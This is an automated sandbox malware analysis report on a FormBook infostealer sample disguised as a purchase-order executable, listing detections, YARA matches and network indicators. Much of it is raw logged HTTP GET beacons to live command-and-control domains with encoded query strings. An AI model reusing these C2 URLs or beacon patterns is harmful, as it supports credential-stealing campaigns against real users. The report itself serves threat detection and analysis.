Analysis Report Purchase Order 40,7045$.exe

AV Detection:

Antivirus detection for URL or domain

Source: http://www.allmm.info/igqu/?1b3H_Ni=4PnhXD1XQOAEhvyRg6knEMy8erSWBtwfFfVfV7Yg7HuI1lqkNO9tokZPvE8hw33lw/Tr&JXhpvv=OXXTgtL8CzU0PRx0	Avira URL Cloud: Label: malware
Source: http://www.forbigdogs.com/igqu/?1b3H_Ni=hqyhMfRLrOIQC7GjaQnjrCruer7JrdNhQeLxI9U0LsQdDm7qZoXdq0VVbkb5+tb+Xu86&JXhpvv=OXXTgtL8CzU0PRx0	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: Purchase Order 40,7045$.exe

ReversingLabs: Detection: 18%

Yara detected FormBook

Source: Yara match	File source: 00000001.00000002.289490288.00000000011C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.521320039.0000000000660000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.260425222.0000000003D51000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.521773301.0000000000950000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.289472822.0000000001190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.289268123.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.521861519.0000000000980000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE

Machine Learning detection for sample

Source: Purchase Order 40,7045$.exe

Joe Sandbox ML: detected

Antivirus or Machine Learning detection for unpacked file

Source: 1.2.MSBuild.exe.400000.0.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Software Vulnerabilities:

Found inlined nop instructions (likely shell or obfuscated code)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then pop edi		1_2_00415044
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then pop edi		1_2_00415C88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then pop ebx		1_2_004066DA
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4x nop then pop edi		6_2_00675044
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4x nop then pop edi		6_2_00675C88
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4x nop then pop ebx		6_2_006666DA

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 1201 ATTACK-RESPONSES 403 Forbidden 34.102.136.180:80 -> 192.168.2.5:49747
Source: Traffic	Snort IDS: 1201 ATTACK-RESPONSES 403 Forbidden 34.102.136.180:80 -> 192.168.2.5:49756
Source: Traffic	Snort IDS: 1201 ATTACK-RESPONSES 403 Forbidden 34.102.136.180:80 -> 192.168.2.5:49758
Source: Traffic	Snort IDS: 1201 ATTACK-RESPONSES 403 Forbidden 34.102.136.180:80 -> 192.168.2.5:49759

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=b5xSTUUVmbOqauvhDdE25zWaspHItZbymNmRh6QlTutVQGy0NN3SxEYa8xt/OgRWZ9lL&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.ariasu-nakanokaikei.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=Jn5Vr1+14bH3XXZofqraFeWVa26wP8rJvzlWs5bnBoBEHljdRY0tb4g4rLkzBbL1dWSS&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.allan-wren.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=7TsZUea1gk4hSEvdc6EZbm1J0Wfs+lYlHRlJN5vF1TH1x8D6KkvV8DgWQzT8NLbVi8yc&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.theoutdoorbed.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=YEhaVrRn7U1iAIlzVSLmJg7Vd2zqgykvRGHwZQMAJohu7B6Tc4aodga4QJg4WZr1G+1s&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.sweetbasilmarketing.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=cgoB+lenqGYlJtvc5JNC9VTF2CGbWvKagdSG/Om1O4x9+LG6GIhzUmnXZfPmgHDFLZxT&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.pasumaisangam.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=4h23ofVf0wd/XYFA6lbDKykObBKMIHvT+gmvC/ZN8Gk4kRGXSO1DXfeAEBypKVKLfK2k&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.justsoldbykristen.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=xBkCUm8FF1kjoaFXSBT5hrl7iUeljBCg0asG3x/fx29GNVo3vuMsob2h52kMpeSzyrJ8&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.lotoencasa.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=KYQlcl9vZGj8bR01lvQ9gDl5O0hjo7xV5yl6UTMOowrmblKr/7vG5jbVDjpERd28t5Sb&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.guidesgold.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=UOytMzsBKWezP+Z4jPobAURSNGb1svEAtMI07cL6UgNiZ1/Q1uLpHFW2AnXGybnNRzQX&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.thoughtslate.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=K/S7l+gZOJHSbd5nxE/i7D8w4PbP25DXYiwy4kAXmG/uB5hJOsw6W9LAHGkKev0TSo0+&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.chemtradent.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=ZRPeOuYuFqwCE6hLODJInGZZul3mSlUAF2kmaH+TgtUwwh/GNGVQ9RWrqwSZOKD9NgnN&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.erpsystem.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=hqyhMfRLrOIQC7GjaQnjrCruer7JrdNhQeLxI9U0LsQdDm7qZoXdq0VVbkb5+tb+Xu86&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.forbigdogs.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=42cTP78OQQp4lToQAaTApkvzdS7tu3b97V7Z9hUZNPZ7GHRvcEVBBFWfORKXu9ozCmYh&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.rockinglifefromhome.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=4PnhXD1XQOAEhvyRg6knEMy8erSWBtwfFfVfV7Yg7HuI1lqkNO9tokZPvE8hw33lw/Tr&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.allmm.infoConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=b5xSTUUVmbOqauvhDdE25zWaspHItZbymNmRh6QlTutVQGy0NN3SxEYa8xt/OgRWZ9lL&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.ariasu-nakanokaikei.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 81.169.145.95 81.169.145.95
Source: Joe Sandbox View	IP Address: 185.201.11.126 185.201.11.126

Internet Provider seen in connection with other malware

Source: Joe Sandbox View	ASN Name: AMAZON-AESUS AMAZON-AESUS
Source: Joe Sandbox View	ASN Name: IOFLOODUS IOFLOODUS

Connects to IPs without corresponding DNS lookups

Source: unknown	TCP traffic detected without corresponding DNS query: 104.42.151.234
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 104.79.89.181
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 84.53.167.113
Source: unknown	TCP traffic detected without corresponding DNS query: 84.53.167.113
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 40.67.254.36
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 40.67.254.36
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 104.79.89.181
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.129.133

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=b5xSTUUVmbOqauvhDdE25zWaspHItZbymNmRh6QlTutVQGy0NN3SxEYa8xt/OgRWZ9lL&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.ariasu-nakanokaikei.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=Jn5Vr1+14bH3XXZofqraFeWVa26wP8rJvzlWs5bnBoBEHljdRY0tb4g4rLkzBbL1dWSS&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.allan-wren.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=7TsZUea1gk4hSEvdc6EZbm1J0Wfs+lYlHRlJN5vF1TH1x8D6KkvV8DgWQzT8NLbVi8yc&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.theoutdoorbed.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=YEhaVrRn7U1iAIlzVSLmJg7Vd2zqgykvRGHwZQMAJohu7B6Tc4aodga4QJg4WZr1G+1s&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.sweetbasilmarketing.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=cgoB+lenqGYlJtvc5JNC9VTF2CGbWvKagdSG/Om1O4x9+LG6GIhzUmnXZfPmgHDFLZxT&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.pasumaisangam.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=4h23ofVf0wd/XYFA6lbDKykObBKMIHvT+gmvC/ZN8Gk4kRGXSO1DXfeAEBypKVKLfK2k&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.justsoldbykristen.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=xBkCUm8FF1kjoaFXSBT5hrl7iUeljBCg0asG3x/fx29GNVo3vuMsob2h52kMpeSzyrJ8&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.lotoencasa.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=KYQlcl9vZGj8bR01lvQ9gDl5O0hjo7xV5yl6UTMOowrmblKr/7vG5jbVDjpERd28t5Sb&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.guidesgold.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=UOytMzsBKWezP+Z4jPobAURSNGb1svEAtMI07cL6UgNiZ1/Q1uLpHFW2AnXGybnNRzQX&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.thoughtslate.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=K/S7l+gZOJHSbd5nxE/i7D8w4PbP25DXYiwy4kAXmG/uB5hJOsw6W9LAHGkKev0TSo0+&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.chemtradent.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=ZRPeOuYuFqwCE6hLODJInGZZul3mSlUAF2kmaH+TgtUwwh/GNGVQ9RWrqwSZOKD9NgnN&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.erpsystem.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=hqyhMfRLrOIQC7GjaQnjrCruer7JrdNhQeLxI9U0LsQdDm7qZoXdq0VVbkb5+tb+Xu86&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.forbigdogs.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=42cTP78OQQp4lToQAaTApkvzdS7tu3b97V7Z9hUZNPZ7GHRvcEVBBFWfORKXu9ozCmYh&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.rockinglifefromhome.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=4PnhXD1XQOAEhvyRg6knEMy8erSWBtwfFfVfV7Yg7HuI1lqkNO9tokZPvE8hw33lw/Tr&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.allmm.infoConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /igqu/?1b3H_Ni=b5xSTUUVmbOqauvhDdE25zWaspHItZbymNmRh6QlTutVQGy0NN3SxEYa8xt/OgRWZ9lL&JXhpvv=OXXTgtL8CzU0PRx0 HTTP/1.1Host: www.ariasu-nakanokaikei.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: g.msn.com

Tries to download or post to a non-existing http route (HTTP/1.1 404 Not Found / 503 Service Unavailable)

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 21 Nov 2020 08:24:27 GMTServer: Apache/2.4.43 (Unix)Content-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Urls found in memory or binary data

Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: Purchase Order 40,7045$.exe, 00000000.00000002.259984630.0000000002D51000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000003.00000000.275549675.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn

Uses HTTPS

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Creates a DirectInput object (often for capturing keystrokes)

Source: Purchase Order 40,7045$.exe, 00000000.00000002.259665211.0000000000F88000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected FormBook

Source: Yara match	File source: 00000001.00000002.289490288.00000000011C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.521320039.0000000000660000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.260425222.0000000003D51000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.521773301.0000000000950000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.289472822.0000000001190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.289268123.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.521861519.0000000000980000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Source: 00000001.00000002.289490288.00000000011C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.289490288.00000000011C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.521320039.0000000000660000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.521320039.0000000000660000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.260425222.0000000003D51000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.260425222.0000000003D51000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.521773301.0000000000950000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.521773301.0000000000950000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.289472822.0000000001190000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.289472822.0000000001190000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.289268123.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.289268123.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.521861519.0000000000980000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.521861519.0000000000980000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Purchase Order 40,7045$.exe

Contains functionality to call native functions

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00417BA0 NtCreateFile,		1_2_00417BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00417C50 NtReadFile,		1_2_00417C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00417CD0 NtClose,		1_2_00417CD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00417D80 NtAllocateVirtualMemory,		1_2_00417D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00417C4C NtReadFile,		1_2_00417C4C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00417CCA NtClose,		1_2_00417CCA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529910 NtAdjustPrivilegesToken,LdrInitializeThunk,		1_2_01529910
